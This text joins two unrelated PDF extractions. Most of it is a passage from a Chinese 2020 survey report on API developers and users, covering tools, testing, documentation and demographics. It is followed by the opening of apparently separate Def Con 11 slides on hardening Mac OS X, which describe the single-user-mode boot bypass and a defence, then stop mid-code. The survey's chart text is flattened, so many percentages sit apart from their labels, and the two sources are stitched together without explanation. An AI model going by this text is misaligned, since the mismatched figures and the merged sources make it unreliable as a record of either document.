14.3%的受访者选择了等待,其余受访者会通过各种方式尽快找到解决办法或替代方案。 而对于API开发者,使用者更希望其能够提供问题描述以及解决问题的步骤、临时的解 决方案、即时的通知或警告。 由此可见,API使用的稳定性至关重要,API产品应当为使用者提供一个能够随时沟通 并处理问题的服务方式,这也对API产品全生命周期的管理提出了更高要求。 API使用者遇到第三方API出现问题的处理方式 当API出现问题时,API使用者希望开发者采取哪些措施 3. 向API提供者提交问题 临时切换到另一个API服务提供者 向团队或组织内部其他人员提交问题 审视SLA(服务等级协议) 考虑永久切换到另一个API服务提供者 向外界公开此问题(例如论坛、社区、社交媒体) 等待问题解决 49% 46.3% 40.8% 31.5% 24.5% 24.0% 14.3% 0% 10% 20% 30% 40% 50% 提供问题描述以及解决问题的步骤 提供临时的解决方案 提供及时的通知或告警 提供公开的API状态更新页面 当问题解决时及时发布通知 59.7% 57.8% 47.0% 38.6% 32.6% 0% 10% 20% 30% 40% 50% 60% API 的发展和应用现状 09 我国API生态尚不成熟,市场尚处早期发展阶段,API使用者的数量 比例明显高于开发者,开发者集中在开发、设计端,从业经验相对不足 本次调研中,72%的受访者为API使用者,占比超过2/3,而API开发者占比不足1/3。 在从事API开发或相关工作的受访者中,从事开发、设计/架构、测试的人员占比最大,总 计达到约75%,而从事文档、部署运维、安全、技术支持、运营监控等职能的人员占比较 少,且年限3年以下的总占比44.4%,经验并不算丰富,也表明新的入局者存在较好的市场 机遇。 这一定程度上可以说明我国API生态的产品能力不足、市场尚处早期发展阶段。一方 面,仅少量企业或组织有能力通过开发API的手段优化内部效率、并通过优质的管理将内部 功能转化为对外服务业务;进一步讲,这样的组织以API开发为主、以API所能提供的能力 为核心竞争力,而对于API的管理、维护能力投入不足。相较之下,更多的公司希望借助外 部工具快速实现自己的业务逻辑,因此市场对于通过API的方式获取技术能力的需求较为旺 盛,对于很多开发者来说,提供API产品仍然具备较大的市场空间。 开发者从事 API 相关开发或提供 API 服务的年限 受访者在API生态中的角色 4. 72% API使用者 28% API开发者 API 的发展和应用现状 10 少于1年 1~3年 3~5年 5~10年 10年以上 9.3% 6.0% 15.0% 34.6% 35.1% 0 5 10 15 20 25 30 35 40 开发者负责的API工作 35% 29% 9% 4% 4%3%3% 2% 11% 开发 设计/架构 测试 战略规划 文档 部署运维 安全 技术支持 运营监控 API 的发展和应用现状 11 API的使用者需求 本章试图站在API使用者的角度,探求 其使用API的主要目的、功能诉求以及 主要关注点 第二部分 API 使用者的需求 使用者对API的主要诉求是获取技术能力、甚至业务能力 在对API使用者的调研中,57.7%的受访者使用API的主要目的是“使用API提供的能 力完成功能交付,避免重复开发,提高效率”,以“调用API,从外部服务获取数据”为主 要目的的受访者仅为22%。此外,还有20.3%的受访者同时选择了两者。 由此看来,使用者对API的应用诉求已经由初期的获取数据能力过渡到后期的获取技术 能力、甚至业务能力,而对于开发者来说,API技术能力的服务化和业务化将愈发重要。 使用API的目的 1. 57.7% 22.0% 20.3% 使用API提供的能力完成功能交付, 避免重复开发,提高效率 调用API,从外部服务获取数据 两项都有 13 API使用者最看重的特征 易用性、API文档准确详尽、服务可用性是API使用者最为看重 的特征 API使用者在决定是否使用一款API时,超过半数的受访者更看重API的易用性,同时 有超过40%的受访者还会考虑API文档准确详尽、服务可用性、服务响应及性能。此外, 在长时间使用过程中,使用者还希望API功能和生命周期设定切合实际期望,如及时的数据 安全、良好记录的变革及缺陷等。 由此可以看出,对于使用者而言,当API能力满足当前需求时,更加看重同类API产品 在具体使用上的体验及稳定性、应用性、可用性等特质,这预示着同类API产品间的竞争除 了产品本身能力的维度外,更加优质的后续服务和使用体验,也会赢得更多用户的青睐。 2. 良好记录的变更及缺陷 响应内容符合规范且易于消费 可信任的提供者 技术支持与客户服务 底层架构可扩展性 易于维护代码 活跃的社区/论坛 易用性 API文档准确详尽 服务可用性 服务响应及性能 API使用的学习成本 数据安全 API成本 其他 25.2% 22.6% 22.5% 21.2% 20.4% 19.9% 13.0% 50.2% 46.0% 42.6% 40.2% 35.4% 34.8% 12.9% 0% 10% 20% 30% 40% 50% 60% 0.4% API 使用者的需求 14 使用者希望API门户中提供哪些和API调用相关的功能 受访者渴望更高效找到合适的API,并快速了解API的具体能力、掌 握使用方式 在对受访者进行的API门户能力调研中显示,希望API门户能够提供在线API调试、API 参数说明、API全局搜索、SDK示例代码这4项功能的受访者比例均超过40%,受访者更希 望能够通过门户尽快找到所需要的API,并快速了解其具体能力和调试应用。 3. API参数说明 API全局搜索 SDK示例代码 API错误码详情 API文档展示 调用监控统计 身份认证 在线CLI 订阅申请 44.8% 在线API测试 46.8% 44.8% 43.5% 36.4% 31.2% 19.4% 19.3% 17.6% 0% 10% 20% 30% 40% 50% 13.9% 其他 0.5% API 使用者的需求 15 API开发者策略和行为画像 本章试图站在API开发者的角度,探求 其开发API的根本动力、主要目的、功 能考量以及开发者行为画像 第三部分 减少开发成本/时间,提高效率 便于与外部伙伴合作 有助于提供产品或服务的功能扩展 便于外部生态开发者参与 加速数字化转型(互联网、移动、云计算等) 以API产品作为盈利方式 增强移动应用 从外部产品获取数据或功能 遵循合规要求 48.3% 便于在内部系统、工具和团队间协作 55.7% 36.5% 36.0% 34.0% 22.5% 18.6% 17.3% 16.7% 14.5% 0% 10% 20% 30% 40% 50% 60% 大部分开发者将优化内部系统、工具和团队协作作为开发API的主要 目的,因此更强调可用性,很少将API产品用于盈利 在受访的开发者中,开发API的主要目的依然是面向内部的,有55.7%的组织希望通过 开发API优化内部系统、工具和团队间协作,48.3%的组织希望能够减少开发时间/成本、 提高效率;近3成的受访者表达了希望API能够促进外部合作,如API能够便于与外部伙伴 开展合作,以及便于外部生态的开发者参与;仅有18.6%的受访者将API产品作为盈利方 式。由此来看,API应用独立营收尚不被大多数团队所考量,一定程度上说明当前API应用 行业的竞争还处于蓝海时代。 开发API的目的决定了开发者将如何对其进行衡量,无论提供内部或外部使用,API的 可用性都是最重要的衡量标准。而在面向外部使用者时,API的调用次数、订阅/用户数量 也比利润/收入更受关注。 开发者开发API的最大动力 开发者衡量API成功的标准 1. API的可用性 API的调用次数 开发者体验 订阅/用户数量 提交及解决的问题数 利润/收入 61.3% 43.6% 41.0% 34.6% 28.3% 22.0% API 开发者的策略和行为画像 17 在可用性和可靠性的平衡上,开发者普遍更侧重可用性,对可靠性的 关注稍逊一筹,这与API使用者的关注点基本一致 在程序员资源有限的情况 下,如何平衡可用性和可靠性是 一个值得思考的问题,在我们的 调研中,受访者对可用性、性 能、功能性等方面的考量明显高 于安全性、扩展性、可维护性等 关于可靠性的考量。 在对API应用的关注方向 上,提供者与使用者的关注点基 本相同,但使用者更关注API应 用接入后的稳定性,在这方面 API开发者的关注度有所欠缺。 API开发者对于 APIs / Web Services主要的考量点 2. 性能 可用性 功能性 安全性 开发友好 扩展性 可维护性 65.4% 63.7% 60.1% 59.1% 42.3% 27.7% 31.4% API 开发者的策略和行为画像 18 开发者所使用的开发IDE 华为云CloudIDE VS Code Visual Studio Eclipse PyCharm Vim/Emacs HBuilderX Sublime Atom 13.7% IntelliJ IDEA 34.7% 12.6% 11.9% 11.6% 6.9% 2.7% 2.0% 0.9% 0% 10% 20% 30% 40% 0.8% 其他 2.0% 目前Java仍是API开发的主要语言,相应的,IntelliJ IDEA成 为API开发者首选的集成开发环境 客观上来说,Golang被普遍认为更适合写接口,其开发、运行更快,且部署环境简 单。但从统计结果来看,Java是目前API开发的主流语言,近半数的受访者及其团队还是 选择了自己最熟悉的编程语言。 在开发环境的选择上,与Java作为主流开发语言相对应的,IntelliJ IDEA作为业界公 认的最好的Java开发工具,也成为了在受访者中应用最多的IDE。另外,开发者使用相对 较多的华为云CloudIDE、VSCode、Visual Studio也都是当下较热门的IDE。 开发者所使用的开发语言 3. Python C++ Net C Go PHP C# Ruby Rust 9.9% JavaScript 11.2% Java 48.8% 9.1% 6.0% 4.4% 3.1% 2.7% 2.0% 1.3% 0% 10% 20% 30% 40% 50% 0.2% 其他 0.5% API 开发者的策略和行为画像 19 API 开发者的策略和行为画像 API开发需要广泛借助各类工具,涵盖设计、文档管理、测试等各个 环节,但普遍将易用性视为选择工具的重要关注因素 从开发工具的使用上,我们不难看出开发者对于工具的依赖,开发者使用的工具类型覆 盖了设计、文档管理、测试等API开发管理周期的各个环节,且各类开发工具的使用比例相 近,API设计器、API功能/性能/压力测试工具、编码规范工具、源码版本管理工具、API网 关工具、API文档工具、单元测试工具、服务虚拟化工具、代码评审工具在受访者中的使用 率均超过了30%。 而在同类型开发工具的选择上,大部分开发者首先关注开发工具的易用性。另外,与现 有工具的集成、使用效率、先进的功能/特性等也成为开发者重点考虑的因素,而对于是否 开源、是否拥有活跃的社区、学习曲线的关注度并不高。 4. 编码规范工具 源码版本管理工具 API网关工具 API文档工具 单元测试工具 服务虚拟化工具(Mock) 代码评审工具 安全测试工具 API调用分析 37.4% API功能/性能/压力测试工具 37.9% API设计器 38.5% 36.2% 34.6% 33.2% 32.9% 32.2% 31.4% 21.1% 0% 10% 20% 30% 40% 12.9% API市场门户 9.7% 开发者使用哪些API相关的开发工具 20 在评估API工具时,开发者优先考虑哪些因素 与现有工具的集成 效率 先进的功能/特性 对脚本的支持 成本 是否开源 是否拥有活跃的社区 是否有现成客户案例(最佳实践) 学习曲线 43.2% 易用性 58.5% 43.1% 39.8% 28.1% 26.4% 22.5% 21.2% 19.5% 0% 10% 20% 30% 40% 50% 60% 18.4% API 开发者的策略和行为画像 21 API设计流程和工具 在本章中,我们聚焦API产品生命周期 的一个重要阶段——API设计,观察开 发者如何看待、以及使用哪些标准和工 具实现API设计流程 第四部分 半数开发者已经拥有正式的API设计流程,近四成开发者已经实现了 文档驱动的设计方式 建立设计流程的重要性已经得到了开发者的普遍认可,共计约75%的开发者对拥有正 式的API设计流程持正面态度,其中约48%的开发者认为设计流程非常重要、且已经建立 设计流程。 而从设计方式来看,约48%的开发者停留在代码驱动的设计方式,也有38%的开发者 已经实现了文档驱动的设计方式。 显然,API应用的开发正在向成规模、成体系的团队化开发模式演进,这将加速API应 用的快速创新和发展,并对API应用的后续服务提供保障。在这样的背景下,API开发文档 中记录的详细信息将在日后成为团队协作共享的宝贵资源,其重要性愈发凸显。 是否建立正式的API设计流程 目前的API设计方式 1. 有,设计非常重要 目前没有,未来可能有 有,设计不是很重要 1% 48% 27% 6% 18% 没有 不确定 代码驱动:在编写好代码之后再在代码中补充API注解, 然后生成API文档 文档驱动:在编写代码之前先设计好API定义,然后生成 框架代码 无固定方式 其他 48% 38% 1% 13% API 设计流程和工具 23 RESTful作为优秀的接口设计标准被广泛使用 RESTful是目前使用最为普遍的一种接口设计方式,作为一个优秀的接口设计标准, 被54.4%的受访者采用。 客观来说,兼容性和可扩展性仍然是软件设计的主要挑战,RESTful风格的API具备 的天然优势使其受到广大开发者欢迎,例如通过HTTP协议降低客户端的耦合、具有极好 的开放性,显然已经取代了SOAP和WSDL等接口设计。 但并没有哪种标准是必然优于另外一种的,如gRPC和RESTful API都提供了一套通 讯机制,但gRPC有更加严格的接口约束条件,且能够大幅减少需要传输的数据量,在需 要对接口进行严格约束、或者对于性能有更高要求的场景更加适用。 通用的API或Web Service定义标准的使用情况 2. Websocket AsyncAPI WSDL API Blueprint SOAP Thrift WADL RAML ISO 8583 17.1% GraphQL 19.7% 16.8% gRPC Socket 24.5% REST 54.4% 23.0% 15.1% 15.1% 12.4% 9.3% 9.0% 5.5% 0% 10% 20% 30% 40% 50% 60% 4.2% 我们没有用到API标准 2.8% API 设计流程和工具 24 开源编辑器(如Swagger编辑器) API管理工具中的设计器(例如Apigee、Azure) IDE 文本编辑器 Postman SwaggerHub MuleSoft Anypoint API Designer Apiary Stoplight 26.4% 18.7% 17.1% 12.4% 10.2% 6.0% 3.0% 2.2% 0% 10% 20% 30% 1.6% 其他 2.4% 开源编辑器依然是开发者进行API设计的首选工具,大部分开发者希 望获得或已经实现了通过API设计文档自动生成代码的能力 创建优质的API需要借助强大的工具、语言以及档案所优化的迭代流程来实现,工具和 技术可以从根本上改善这一设计过程。接口描述语言提供支持性的工具以简化编写描述的任 务,这一点已经非常常见,RAML、Swagger等单一功能的开源编辑器都提供了优秀的编 辑工具以支持各自的语言,它们依然是开发者进行API设计的首选,有26.4%的受访将其作 为主要工具,而API管理工具普遍能够提供更全面的功能和更简洁的页面,也有18.7%的受 访者使用。从另一个角度来看,有41%的开发者表示能够通过API设计文档自动生成代码, 另外有25%的开发者希望通过工具获得借助设计文档自动生成代码的能力。 通用的API或Web Service定义标准的使用情况 能否通过API设计文档自动生成代码 3. 能够 不能 41% 34% 25% 希望API开发工具能提供从API设计自动生成代码功能 API 设计流程和工具 25 API测试流程和工具 本章我们将看到API测试在API产品生 命周期中的重要作用,还涉及不同测试 工具的使用情况、提供高质量API面临 的主要障碍等问题 第五部分 质量低下的API直接影响项目交付时间、SLA要求,严重时甚至对 使用者造成用户或公司品牌损失 随着第三方API在项目中扮演愈发关键的角色,API的质量将直接影响软件项目的交付 质量。23.9%的受访者认为低质量的API会延长项目交付时间,18.6%的受访者认为会导 致项目无法满足SLA。同时有20%的受访者担忧,质量低下的API会导致公司丢失客户或 用户,并对公司品牌造成损失。显然,提供更好的API质量保障方案,将为使用者选择API 增加更多信心。 因API质量低下给使用者带来的主要风险 1. 延长项目交付时间 无法满足SLA(服务等级协议) 降低项目交付速度 影响内部依赖于API的团队 丢失客户/用户 对公司/品牌造成损失 合规风险 23.9% 18.6% 17.6% 16.7% 14.2% 3.2% 5.8% API 测试流程和工具 27 缺少预算 没有时间 缺少工具/系统之间的集成 缺乏经验和技能 缺少足够的精力 缺少有效协作 缺乏合适的工具和技术 16.4% 6.3% 0% 0% 10% 20% 30% 30% 20% 10% 11.6% 11.9% 13.4% 12.1% 11.6% 12.4% 20.9% 16.8% 16.1% 20.8% 13.8% 15.1% 缺乏合适的工具和技术是保障API质量的最大障碍 在保障API质量的调研中,缺乏合适的工具和技术是使用者和开发者面临的最大障碍, 分别有20.9%的使用者、20.8%的开发者选择了该选项。其他障碍中,较为集中的选项还 包括:缺少足够的精力、缺乏经验和技能、缺少有效协作等。 可以得知,在尚未成熟的API生态中,市场亟需好的API开发工具和经验指导,具备专 业能力的API开发机构或将加速API生态的建立和发展。 使用者(左侧)和开发者(右侧)在保障API质量方面面临的最大障碍 2. API 测试流程和工具 28 无论是API开发者还是使用者,已经建立API测试流程的受访者均超 过半数,API测试将成为整体自动化策略的重要组成部分 在API使用者中,52%的受访者表示已建立正式的API测试流程,而在开发者中这一比 例提高到了56%,另外分别有26%和22%的受访者表示目前没有,但未来可能建立测试流 程。 显然,建立API测试流程的重要性已经成为共识,伴随越来越多的公司转向DevOps方 向,以实现持续集成和持续部署开发,这意味着更快的反馈效率和更短的交付时间,API测 试将成为整体自动化策略的重要组成部分。 API使用者(外层)和开发者(内层)是否建立正式的API测试流程 3. 有,测试非常重要 目前没有,未来可能有 有,测试不是很重要 52% 56% 26% 22% 3.9% 5%1% 1.9% 16.2% 16% 没有 不确定 API 测试流程和工具 29 大多数受访者使用过多个API 测试工具,YAPI、Postman应用最 为广泛 目前,有多种第三方工具帮助工程师实现API的自动化测试,其中使用最广泛的是:提 供综合接口管理服务的YAPI、以及高效的探索型API测试工具Postman。 在所有受访者中,76.5%的API使用者和43.2%的API开发者使用过多个API测试工 具,表明API测试工具的市场竞争较为激烈,也说明还没有哪款测试工具赢得了用户的绝对 信任。 API使用者使用哪些API测试工具 4. Karate DSL Dredd REST-Assured Katalon Pact JMeter Tricentis Tosca Parasoft Insomnia 15.4% Eolinker 17.8% 14.6% ReadyAPI/soapUI RAP 26.8% API Fortress 27.6% Postman 38.5% YAPI 42.1% 19.0% 14.5% 13.9% 11.5% 11.2% 10.1% 7.1% 0% 10% 20% 30% 40% 50% 9.1% Apigee 22.6% API 测试流程和工具 30 API开发者使用哪些API测试工具 RAP Dredd REST-Assured Karate DSL Insomnia Katalon Pact Parasoft Tricentis-Tosca 8.6% Eolinker 11.0% 7.9% JMeter API Fortress 19.7% ReadyAPI/soapUI 26.9% Postman 38.7% YAPI 58.2% 13.1% 7.1% 5.8% 5.7% 4.2% 3.9% 2.2% 0% 10% 20% 30% 40% 50% 50% 3.9% Apigee 17.8% API 测试流程和工具 31 第六部分 在本章中,我们将探讨如何认识并发挥 API文档的重要价值,包括API文档流 程的建立、对文档工具的功能需求、文 档工具的使用情况、以及文档自动生成 能力的实现 API文档的使用 33 虽然约七成受访者已建立正规的API文档流程,且超过半数受访者对 所在组织的API文档完善程度给出正面评价,但依然存在大量团队没有 意识到API文档应有的重要作用 约72.8%的受访者表示已建立正规的API文档流程,但其中27.4%的受访者并不认可 API文档流程的重要性。此外还有21.1%的受访者表示目前没有API文档流程,但未来将可 能建立。 从自我评估的角度,有共计58%的受访者对自身组织的API文档完善程度给出正面评 价,包括“不错”、“很好”,仅有26%和13%的受访者给出“一般”和“需要改善”等 偏负面的评价。 API文档作为前后端两方沟通的桥梁,几乎是开发团队的必备工具,但依旧有超半数受 访者表示不认同其重要性、目前没有API文档流程、以及不能确定,一个可能的原因是受访 者所在的团队缺乏对于内部API的必要管理、以及管理缺乏基本的团队协同机制,以至于其 团队并没有意识到API文档应有的重要作用。 结合对API文档工具使用情况的调研,市场中显然还缺少一款主流好用的API文档工 具,用以完善API文档的全过程管理。 受访者所在组织是否有 正规的API文档流程 受访者所在组织的API文档 完善水平评估 1. 2.0% 45.4% 27.4% 4.1% 21.1% 有,API文档非常重要 有,API文档不是很重要 目前没有,未来可能有 没有 不确定 不错 很好 一般 3% 30% 28% 13% 26% 需要改善 很差 API 文档的使用 API使用者和开发者普遍对文档可读性有较高要求 无论API使用者或API开发者,文档可读性都是其最为看重的内容。此外,双方对API 文档的主要需求还包括:对各种主流协议和设计规范的支持程度,操作指南,调用方法、参 数和返回值的解释,样例等。 2. 开发者眼中API文档最重要的内容 使用者眼中API文档最重要的内容 授权 资源 变更日志 版本信息 术语表 错误信息 调用方法、参数和返回值的解释 样例 错误码 其他 33.2% 33.9% 29.8% 对各种主流协议和设计规范的支持程度 操作指南(如API调用的示例、上下文介绍) 44.6% 文档可读性(清晰查阅) 54.3% 43.0% 22.3% 20.8% 16.7% 14.0% 13.4% 12.7% 0% 10% 20% 30% 40% 50% 60% 0.5% 错误码 资源 变更日志 术语表 错误信息 版本信息 调用方法、参数和返回值的解释 样例 授权 其他 6.4% 9.4% 5.3% 对各种主流协议和设计规范的支持程度 操作指南(如API调用的示例、上下文介绍) 19.3% 文档可读性(清晰查阅) 27.0% 14.5% 5.2% 5.0% 2.8% 1.7% 1.6% 1.4% 0% 5% 10% 15% 20% 25% 30% 0.2% API 文档的使用 34 API使用者使用哪些API文档工具 API开发者使用哪些API文档工具 API使用者和开发者使用的主流API文档工具较为一致,且都有相当 比例的受访者选择使用自研的API文档工具 总体来看,SwaggerHub、ReadMe/Markdown、Atlassian Confluence是API使 用者和开发者使用最为广泛的三款API文档工具。 值得关注的是,在使用者中,有13.8%的受访者选择使用自研的API文档工具,这一数 据在开发者中更是高达23.3%,双方都体现出缺乏主流文档工具的问题,而自研的API文档 工具或将有机会成为API开发生态中的创新点,弥补当前文档工具的不足。 3. Eolinker 自研的API文档工具 YAPI RAP 没有API文档工具 Apigee Redoc.ly Stoplight Docs 25.9% 31.6% 20.8% SwaggerHub Atlassian Confluence ReadMe/Markdown 34.5% 20.3% 16.9% 14.1% 13.8% 13.7% 12.3% 0% 10% 20% 30% 40% 7.9% Apigee 没有API文档工具 Redoc.ly Stoplight Docs 其他 ReadMe/Markdown 自研的API文档工具 Atlassian Confluence 33.0% 28.0% SwaggerHub 23.3% 18.6% 17.0% 14.2% 13.1% 9.0% 0% 10% 20% 30% 40% 3.3% API 文档的使用 35 仅少量使用者和开发者具有自动化生成API文档的能力 在受访者中,仅36%的API使用者、34%的API开发者表示有能力自动化生成API文 档,考虑到其中相当比例使用自研的API文档工具,实际通过市场现有API文档工具实现自 动化生成的比例会更低。其余54%的API使用者、58%的API提供者则自行编写、或由专职 人员编写API文档。 在整个API管理过程中,自动化生成API文档的能力至关重要,这项能力的不足也从一 个侧面反映出现有的自动化生成工具难以满足应用需求。 4. API使用者(左侧)和开发者(右侧)处理API文档的方式 我们没有API文档流程 我们有专职的技术人员负责API文档编写 开发人员自行编写API文档 自动化生成API文档,比如使用OpenAPI 36% 24% 0% 0% 10% 20% 30% 40% 40% 30% 20% 10% 10% 30% 34% 21% 8% 37% API 文档的使用 36 API综合管理体系 在本章中,我们着眼于分析API综合管 理体系的建立,涉及API的开放和调用 方式、API管理工具的选择、以及API 监控流程的建立等 第七部分 开发者更倾向通过API网关实现部分API管理能力,使用者则更关注 API的可用性,对API的管理意识和诉求相对不足 在API的开放和调用方式上,总计70.9%的API使用者选择通过类库、SDK调用,以及 直接调用的方式使用API,选择CLI调用、API网关调用等方式的占比较少。而开发者更多 选择API网关的方式进行开放,之间的差异体现出二者对于API管理诉求的差别。 API网关作为API管理系统的一部分,不仅在OpenAPI开放平台上承担认证鉴权、限 流计费、统计查看、过载熔断等功能,而且伴随微服务架构的流行,API网关也开始作为微 服务网关的身份存在,成为其必不可少的组件。即使企业没有大规模地实施微服务架构, API网关也可以作为企业的API服务管理平台。API网关成为开发者开放API的首选方式,一 定程度上表明了开发者强烈的API管理需求。相对而言,使用者对于API管理的意识还较为 薄弱。 使用者通过哪种方式使用API 开发者采取哪种方式开放API 1. 通过类库、SDK调用 直接调用API 通过CLI调用 通过API网关调用 其他 38.7% 32.2% 15.0% 13.4% 0% 10% 20% 30% 40% 0.6% API网关 API管理工具 API市场门户 以SDK的方式提供 我们不开放API 31.5% 21.1% 18.4% 18.3% 0% 10% 20% 30% 40% 10.7% API 综合管理体系 38 开发者显然需要一套完整的API治理体系,阿里云、腾讯云、华为云 三家厂商的管理平台占据大部分市场份额 伴随越来越多的云服务通过API方式交付、以及云服务之间的相互集成,阿里云、腾讯 云、华为云等云厂商提供了更为丰富的API管理服务。 在我们的统计中,阿里云、腾讯云、华为云的API管理平台占据了主要的市场份额,反 映出开发者更需要一套完整的API治理体系。如华为云API平台提供了错误码、API Explorer在线调试等功能,并通过APIG实现了便捷的端到端API生命周期管理,全面覆盖 了从设计、开发、测试、发布、运维、下线、上架下架等功能;阿里云API平台集成了API 文档/错误中心、API检索/在线调试等功能模块;腾讯云API平台综合了API文档、错误码、 API Explorer及SDK等资源的统一查询功能。上述工具都大大简化了企业能力的开放流 程,受到了开发者的欢迎,而YAPI、Kong等开源的微服务网关,因其商业化过程中较长 的开发周期和较高的运营维护成本,而逐渐受到冷落。 2. IBM API Connect MuleSoft Software AG SAP 其他 Eolinker RAP WSO2 7.1% 11.2% 6.3% Google(Apigee) Kong Microsoft Azure 13.1% 5.3% YAPI AWS API Gateway 29.9% 31.9% 14.0% 腾讯云 华为云APIG 阿里云 42.8% 13.4% 5.3% 5.0% 4.2% 4.1% 3.8% 0% 10% 20% 30% 40% 50% 5.5% 开发者使用过哪些API管理平台 API 综合管理体系 39 近半数受访使用者已建立了API监控流程 超七成受访使用者对建立API监控流程持积极态度,其中43.8%的受访者已经建立了 API监控流程,还有28.1%的受访者表示可能将在未来建立。 使用者或对API的稳定性存在担忧,开发者如果想要在同类API的竞争中脱颖而出,除 了创新的功能点外,产品的稳定性及服务保障也是重要的竞争维度。 3. 是否建立正式的API监控流程 有,监控非常重要 目前没有,未来可能有 有,监控不是很重要 2.8% 43.8% 28.1% 5.5% 19.8% 没有 不确定 API 综合管理体系 40 第八部分 API的技术挑战和发展趋势 本章我们将集中探讨API正在面临的技 术挑战,并预测相关技术的发展前景 我们似乎正面对全面的技术挑战,受访者更关注标准化、可组合性/ 可重用性、安全性挑战 在API面临的技术挑战中,我们似乎正面对全面的技术挑战,各项挑战的关注度相差不 大,相较之下,受访者更关注标准化、可组合性/可重用性、安全挑战。尤其是API的标准 化将有利于推动API应用的互联互通,真正成为项目开发的加速器和连接枢纽。 API面临的哪些技术挑战是需要首先被解决的 1. 标准化 可组合性/ 可重用性 安全 可发现性 授权 工具间 易于集成 版本化 可扩展性 51.4% 48.1% 29.2% 41.8% 23.6% 28.9% 34.6% 35.4% API 的技术挑战和发展 42 微服务、物联网、DevOps技术的发展可能对API最具促进作用 总体来看,受访者对相关技术的预期发展态势较为乐观,微服务、物联网、DevOps 位列相关技术的前三名。 2. VR/AR 数字化转型 开放企业 聊天机器人 数字银行 企业服务 移动应用 自动驾驶 29.9% 30.7% 23.6% AI 区块链 DevOps 38.1% 39.3% 物联网 微服务 50.2% 20.8% 20.8% 20.1% 17.8% 17.6% 15.6% 0% 10% 20% 30% 40% 50% 60% 13.1% 哪些技术/应用会在未来两年促进API的发展 API 的技术挑战和发展 43 统计人口样本 在本报告的结尾,我们将统计分析不同 参与者的画像信息,包括行业、职位、 公司规模、地理位置等 第九部分 参与调研者所属行业 受访者多来自互联网/IT/科技产业 从受访者的所属行业来看, 互联网/IT/科技产业占比达到 38.8%,表明API的开发与使用 依然高度集中于互联网原生行 业。其他如金融服务、零售/贸 易、工业与制造、文化/媒体/娱 乐、医疗保健、教育/科研等行业 成长空间巨大,可见在我国传统 产业数字化转型的趋势下,API 拥有广阔的市场应用前景。 1. 受访者中,后端工程师、前端工程师、移动应用开发工程师占比近 六成 本次调研中,受访者的职业 分布排名前三的分别是:后端工 程师、前端工程师、移动应用开 发工程师,总计占比约57.6%。 而API开发工程师、DevOps工 程师、QA工程师等职位整体占 比较小。 2. 受访者的职位 架构师 API开发工程师 DevOps工程师 QA工程师 其他 前端工程师 移动应用开发工程师 运维工程师 26.7% 16.0% 后端工程师 14.9% 10.2% 8.9% 8.1% 5.3% 3.5% 0% 5% 10% 15% 20% 25% 30% 6.3% 统计人口样本 医疗保健 教育/科研 交通运输/物流 能源 非营利性 金融服务 零售/贸易 文化/媒体/娱乐 7.0% 互联网/IT/科技 5.2% 4.2% 工业与制造 4.3% 3.9% 3.4% 1.7% 1.1% 1.0% 0% 5% 10% 15% 20% 25% 30% 35% 40% 45% 0.5% 其他 38.8% 45 75%的受访者来自于500人以下的中小型企业,处于规模化扩张阶 段的企业对API的关注尤为密切 参与本次调研的受访者总体上覆盖了50人以下的小微初创团队、50-500人规模的中小 型企业、2000人以上的大型企业,其中近75%的受访者来自500人以下的中小型企业。特 别是规模处于50-500人之间的企业,受访人数占比近六成,从侧面说明处于规模化扩张阶 段的企业,对外部的技术资源需求更加迫切,对API的关注尤为密切。 受访者所在组织的人员规模 3. 15.0% 1~50人 28.4% 51~100人 31.3% 101~500人 12.6% 501~2000人 12.7% 2000人以上 超过50%的受访者在北京地区工作,受访者基本分布于互联网行业 发展相对领先的一/二线城市 从地域分布来看,55%的受访者工作所在地位于北京,其余占比较高的城市排名依次 为上海、天津、杭州、深圳、广州,受访者基本分布于互联网行业发展相对领先的一/二 线城市。 4. 北京市 上海市 天津市 5% 55% 16% 6% 6% 12% 杭州市 深圳市 广州市 受访者的工作所在地 统计人口样本 46 免责声明 【中国API生态与开发者现状调研报告(2020年)】的编写以及数据采集工作由华为云、InfoQ联合发起,中国信息通信 研究院作为指导单位深度参与,开源中国等技术社区及用友、环信、APICloud、DCLOUD、Eolinker、MobTech、蒲公 英等API实践企业和社会各界也给予了大力支持,在此,谨致以最衷心的感谢。 本报告保证采用数据来自合规渠道,力求客观公正、清晰准确地反映基于数据的研究成果。报告包含的信息取自调研获得 的5000+份有效问卷,华为云不对此类信息的准确性、完整性或适当性做出任何保证。同时,可在不发出通知的情况下对本 报告所含信息做出修改,读者应当自行关注相应的更新或修改。 本报告仅在相关法律许可的情况下面向所有开发者发放,并仅为提供信息而发放,概不构成任何广告。在任何情况下,本 报告中的信息或所表述的意见均不构成对任何人的最终建议。在任何情况下,华为云、华为云员工或者关联机构不承诺读者一 定获利,不与相关人士分享收益,也不对任何人因使用本报告中的任何内容所引致的任何损失负任何责任。读者务必注意,其 据此做出的商业决策与华为云、华为云员工或者关联机构无关。 本报告版权仅为 @华为云 所有,未经书面许可,任何机构和个人不得以任何形式翻版、复制、发表。如征得华为云同意 进行刊发的,需在允许的范围内使用,并注明出处,且不得对本报告进行任何有悖原意的引用、删节和修改。 47 合作者 姚冬:华为云应用平台部首席技术布道师,中国DevOps社区核心组织者,IDCF社区联合发起人 马晓宇:环信 CEO ,20多年技术和管理经验,曾任职于IONA、Symbian、Nokia等公司,是移动通讯、手机软件、开源软 件等领域专家 吴阳:蒲公英 CTO,Web 全栈开发工程师,多年技术开发经验,开源项目 date-fns 成员,FreeCodeCamp 中文社区讲师 崔红保:DCloud CTO,跨平台开发老兵,小程序领域专家,出品了HBuilder、uni-app等广受开发者欢迎的产品 刘昊臻:Eolinker CEO,API全生命周期管理方案专家,广东工业大学特聘研究生教师,TGO广州分会会员 邹达:APICloud联合创始人兼CEO,国内较早将Web与Native技术融合的实践者,构建了APICloud技术架构及核心引擎 刘晖:InfoQ行业分析师,深入研究AI、云计算等前沿科技领域,API创新生态的观察家与见证者 万佳:InfoQ技术编辑,长期关注IT和互联网行业,熟悉当前主流技术,曾采访过多位知名专家、技术大牛
pdf
Locking Down Mac OS X Def Con 11 Jay Beale Bastille Linux JJB Security Consulting, LLC. GWU Cyber Security Policy & Research Institute Talk Contents This talk with cover • Auditing the core operating system. • Choosing tigher settings. • Automating this process with Bastille Linux. Auditing OS X One hour of lock-down: • Boot security audit • Daemon Audit • Network daemons After that? • Set-UID/Set-GID Audit • Audit cron jobs • Configure daemons for better security Mac OS X Roots • FreeBSD • Next (Steve Jobs) • Mach (Darwin) kernel Boot Security - Single User Mode? Attack: Hold down -S during boot to boot directly into single user mode. Defense: • Alter rc.boot to require some authentication before allowing boot to continue. Alter rc.boot? secureit inserts the following into rc.boot: if [ "${BootType}" = "singleuser" 